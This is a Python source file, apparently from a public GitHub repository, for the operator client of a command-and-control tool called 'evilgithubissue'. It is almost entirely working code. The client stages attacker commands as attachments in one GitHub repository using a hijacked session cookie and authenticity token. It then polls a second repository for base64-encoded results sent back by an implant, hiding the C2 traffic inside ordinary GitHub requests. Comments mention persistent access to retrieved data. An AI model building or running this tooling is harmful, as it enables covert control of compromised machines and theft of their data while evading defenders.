-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgithubc2-client.py
386 lines (323 loc) · 14.5 KB
/
githubc2-client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
import gzip
import shutil
import signal
import sys
import base64
import http.client
import json
import sys
import re
import html
import configparser
from urllib.parse import urlparse
import color
c2_github_config = configparser.ConfigParser()
c2_github_config.read('server.ini')
# GLOBAL CONFIG
# COOKIE for example
C2_GITHUB_REPO = c2_github_config['github']['c2_github_repo']
C2_RESULT_REPO = c2_github_config['github']['c2_result_repo']
C2_GET_NEW_RESULT = "https://github.com/user-attachments"
C2_GITHUB_ACCOUNT_COOKIE = 'YOUR_GITHUB_COOKIE'
C2_CLIENT_USER_AGENT = c2_github_config['github']['c2_client_user_agent']
PROXY_HOST = c2_github_config['github']['proxy_host']
PROXY_PORT = int(c2_github_config['github']['proxy_port'])
AUTHENTICITY_TOKEN = 'YOUR_AUTHENTICITY_TOKEN'
def fetchRepoHtml(host, path):
if PROXY_HOST == '':
connection = http.client.HTTPSConnection(host)
else:
connection = http.client.HTTPSConnection(PROXY_HOST, PROXY_PORT)
connection.set_tunnel(host)
headers = {
'Accept': 'text/html, application/xhtml+xml',
'Cookie': C2_GITHUB_ACCOUNT_COOKIE,
'X-Requested-With': 'XMLHttpRequest',
'Sec-Ch-Ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
'User-Agent': C2_CLIENT_USER_AGENT,
'Origin': 'https://github.com',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9,ar-LB;q=0.8,ar;q=0.7,fr-FR;q=0.6,fr;q=0.5'
}
connection.request("GET", path, headers=headers)
response = connection.getresponse()
if response.getheader('Content-Encoding') == 'gzip':
# If the response is gzip-encoded, decode it
html_response = gzip.decompress(response.read())
html_response = html_response.decode()
else:
html_response = response.read().decode()
connection.close()
return html_response
def scrapeRepoID(html_response):
repo_id = re.search(r'<button [^>]*data-hydro-click="([^"]+)"', html_response)
if repo_id:
return repo_id.group(1)
return None
def getGithubRepoID(repo_url):
host = 'github.com'
path = "/" + repo_url.split('/')[-2] + "/" + repo_url.split('/')[-1]
html_response = fetchRepoHtml(host, path)
repo_json_data = scrapeRepoID(html_response)
if repo_json_data:
repo_json_data = json.loads(html.unescape(repo_json_data))
repo_id = repo_json_data['payload']['repository_id']
print(color.light_green("[+]") + " Repo ID Found: ", repo_id)
return repo_id
else:
# Add error handling
print(color.light_red("[-]") + " Can't Find The Repo ID")
return None
def readTasksFile(task_filename):
with open(task_filename, 'r') as task_file_handler:
tasks = task_file_handler.readlines()
return tasks
def writeTasksFile(task, task_filename):
try:
with open(task_filename, 'w') as task_file_handler:
task_file_handler.write(task)
return True
except:
return False
# Request 1
def getUploadPolicy(repository_id, size):
# Proxy Settings for request debug
if PROXY_HOST != '':
connection = http.client.HTTPSConnection(PROXY_HOST, PROXY_PORT)
connection.set_tunnel("github.com")
else:
connection = http.client.HTTPSConnection("github.com")
boundary = "----WebKitFormBoundarylTYOL6aCn8vV8xYA"
# Headers required for the request
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Accept': 'application/json',
'Cookie': C2_GITHUB_ACCOUNT_COOKIE,
'X-Requested-With': 'XMLHttpRequest',
'Sec-Ch-Ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
'User-Agent': C2_CLIENT_USER_AGENT,
'Origin': 'https://github.com',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9,ar-LB;q=0.8,ar;q=0.7,fr-FR;q=0.6,fr;q=0.5'
}
# Construct the body using the specified boundary
body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"name\"\r\n\r\n"
f"task.zip\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"size\"\r\n\r\n"
f"{size}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"content_type\"\r\n\r\n"
f"application/x-zip-compressed\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"authenticity_token\"\r\n\r\n"
f"{AUTHENTICITY_TOKEN}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"repository_id\"\r\n\r\n"
f"{repository_id}\r\n"
f"--{boundary}--\r\n"
)
# Convert the body to bytes
body_bytes = body.encode('utf-8')
headers['Content-Length'] = str(len(body_bytes))
# Send the request
connection.request("POST", "/upload/policies/assets", body=body_bytes, headers=headers)
response = connection.getresponse()
if response.getheader('Content-Encoding') == 'gzip':
# If the response is gzip-encoded, decode it
status = response.status
response = gzip.decompress(response.read())
return status, json.loads(response.decode())
return response.status, json.loads(response.read().decode())
def uploadFileContent(request_1_response, task):
# Proxy Settings for request debug
if PROXY_HOST != '':
connection = http.client.HTTPSConnection(PROXY_HOST, PROXY_PORT)
connection.set_tunnel("objects-origin.githubusercontent.com")
else:
connection = http.client.HTTPSConnection("objects-origin.githubusercontent.com")
boundary = "----WebKitFormBoundaryOjUm0IpdzXmxubBE"
# Headers required for the request
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Accept': 'application/json',
'Cookie': C2_GITHUB_ACCOUNT_COOKIE,
'X-Requested-With': 'XMLHttpRequest',
'Sec-Ch-Ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
'User-Agent': C2_CLIENT_USER_AGENT,
'Origin': 'https://github.com',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9,ar-LB;q=0.8,ar;q=0.7,fr-FR;q=0.6,fr;q=0.5'
}
# Construct the body using the specified boundary
body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"key\"\r\n\r\n"
f"{request_1_response['form']['key']}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"acl\"\r\n\r\n"
f"private\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"policy\"\r\n\r\n"
f"{request_1_response['form']['policy']}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"X-Amz-Algorithm\"\r\n\r\n"
f"{request_1_response['form']['X-Amz-Algorithm']}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"X-Amz-Credential\"\r\n\r\n"
f"{request_1_response['form']['X-Amz-Credential']}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"X-Amz-Date\"\r\n\r\n"
f"{request_1_response['form']['X-Amz-Date']}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"X-Amz-Signature\"\r\n\r\n"
f"{request_1_response['form']['X-Amz-Signature']}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"Content-Type\"\r\n\r\n"
f"{request_1_response['form']['Content-Type']}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"task.zip\"\r\n"
f"Content-Type: {request_1_response['form']['Content-Type']}\r\n\r\n"
f"{task}\r\n"
f"--{boundary}--\r\n"
)
# Convert the body to bytes
body_bytes = body.encode('utf-8')
headers['Content-Length'] = str(len(body_bytes))
# Send the request
connection.request("POST", "/github-production-repository-file-5c1aeb", body=body_bytes, headers=headers)
response = connection.getresponse()
return response.status, response.read().decode()
def getUploadLink(request_1_response):
# Proxy Settings for request debug
if PROXY_HOST != '':
connection = http.client.HTTPSConnection(PROXY_HOST, PROXY_PORT)
connection.set_tunnel("github.com")
else:
connection = http.client.HTTPSConnection("github.com")
boundary = "----WebKitFormBoundaryUBBr8hBHklsWkqdq"
# Headers required for the request
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Accept': 'application/json',
'Cookie': C2_GITHUB_ACCOUNT_COOKIE,
'X-Requested-With': 'XMLHttpRequest',
'Sec-Ch-Ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
'User-Agent': C2_CLIENT_USER_AGENT,
'Origin': 'https://github.com',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9,ar-LB;q=0.8,ar;q=0.7,fr-FR;q=0.6,fr;q=0.5'
}
# Construct the body using the specified boundary
body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"authenticity_token\"\r\n\r\n"
f"{request_1_response['asset_upload_authenticity_token']}\r\n"
f"--{boundary}--\r\n"
)
# Convert the body to bytes
body_bytes = body.encode('utf-8')
headers['Content-Length'] = str(len(body_bytes))
# Send the request
connection.request("PUT", f"/upload/repository-files/{request_1_response['asset']['id']}", body=body_bytes, headers=headers)
response = connection.getresponse()
if response.getheader('Content-Encoding') == 'gzip':
# If the response is gzip-encoded, decode it
status = response.status
response = gzip.decompress(response.read())
return status, json.loads(response.decode())
return response.status, json.loads(response.read().decode())
def scheduleTasks(task, task_retrieval_filename, repo_id):
status, response = getUploadPolicy(repo_id, len(task))
status_1, response_1 = uploadFileContent(response, task)
status_2, response_2 = getUploadLink(response)
print(color.light_green("[+]") + f" Task Link: {response_2['href']}")
with open(task_retrieval_filename, 'a') as task_retrieval_filehandler:
task_retrieval_filehandler.write( response['asset_upload_authenticity_token'] + ':' + response_2['href'] + '\n')
return response_2['id']
# This function will be used to configure the first_command and first_result IDs
# It's a workaround until i find a way to get all issue attachements IDs
def setup(repo_id_tasks, repo_id_result):
FIRST_TASK_ID = scheduleTasks('Starting CMD', 'scheduled.txt', repo_id_tasks)
c2_github_config.set('github', 'first_command', str(FIRST_TASK_ID))
FIRST_RESULT_ID = scheduleTasks('Starting Result', 'result.txt', repo_id_result)
c2_github_config.set('github', 'first_results', str(FIRST_RESULT_ID))
with open('server.ini', 'w') as serverConfigfile:
c2_github_config.write(serverConfigfile)
return FIRST_TASK_ID, FIRST_RESULT_ID
# NOT USED
def updateConfig(FIRST_TASK_ID, FIRST_RESULT_ID):
c2_github_config.set('github', 'first_command', str(FIRST_TASK_ID))
c2_github_config.set('github', 'first_results', str(FIRST_RESULT_ID))
with open('server.ini', 'w') as serverConfigfile:
c2_github_config.write(serverConfigfile)
def getTaskResult(repo_id_result, FIRST_RESULT_ID):
print("[*] Expecting the last task result id")
expected_task_id = scheduleTasks('starting', 'result.txt', repo_id_result)
print(expected_task_id)
while FIRST_RESULT_ID < expected_task_id:
current_url = C2_GET_NEW_RESULT + "/files/" + str(FIRST_RESULT_ID) + "/result.zip"
parsed_url = urlparse(current_url)
connection = http.client.HTTPSConnection(parsed_url.hostname)
connection.request("GET", parsed_url.path)
response = connection.getresponse()
if response.status != 404:
print(color.light_green("[+]") + f" Fetching Result For Task: {FIRST_RESULT_ID}")
if response.status in (301, 302, 303, 307, 308):
connection = http.client.HTTPSConnection(urlparse(response.headers['Location']).hostname)
parsed_url = urlparse(response.headers['Location'])
connection.request("GET", parsed_url.path + '?' + parsed_url.query)
response = connection.getresponse()
data = response.read().decode()
connection.close()
fetched_result = (base64.b64decode(data)).decode('utf-8')
print(color.light_green("[+]"))
print(fetched_result)
FIRST_RESULT_ID += 1
return FIRST_RESULT_ID
def cancel_handler(sig, frame):
print(color.cyan("\n[~]") + " Shutdown Client")
# shutil.copy('server.ini', '<timestamp>' + 'server.ini') # Will be used to gain persistent access to the retrieved data
sys.exit(0)
def main():
signal.signal(signal.SIGINT, cancel_handler)
repo_id_tasks = getGithubRepoID(C2_GITHUB_REPO)
repo_id_result = getGithubRepoID(C2_RESULT_REPO)
# SETUP: will update the server.in file
# FIRST_TASK_ID: will be used by the implant
# Implant: Start from FIRST_TASK_ID to retrieve commands
FIRST_TASK_ID, FIRST_RESULT_ID = setup(repo_id_tasks, repo_id_result)
while True:
print('evilgithubissue-client> ', end='')
command = input()
if command == 'quit' or command == 'exit':
print(color.cyan("[~]") + " Shutdown Client")
# shutil.copy('server.ini', '23' + 'server.ini')
sys.exit(1)
else:
if command == 'execute':
tasks = readTasksFile('task.zip')
for task in tasks:
scheduleTasks(task, 'scheduled.txt', repo_id_tasks)
elif command == 'fetch':
getTaskResult(repo_id_result, FIRST_RESULT_ID)
else:
writeTasksFile(command, 'task.zip')
#updateConfig(FIRST_TASK_ID, FIRST_RESULT_ID)
print( color.light_green("[+]")+ f" Command Tasked: {command}")
if __name__ == '__main__':
main()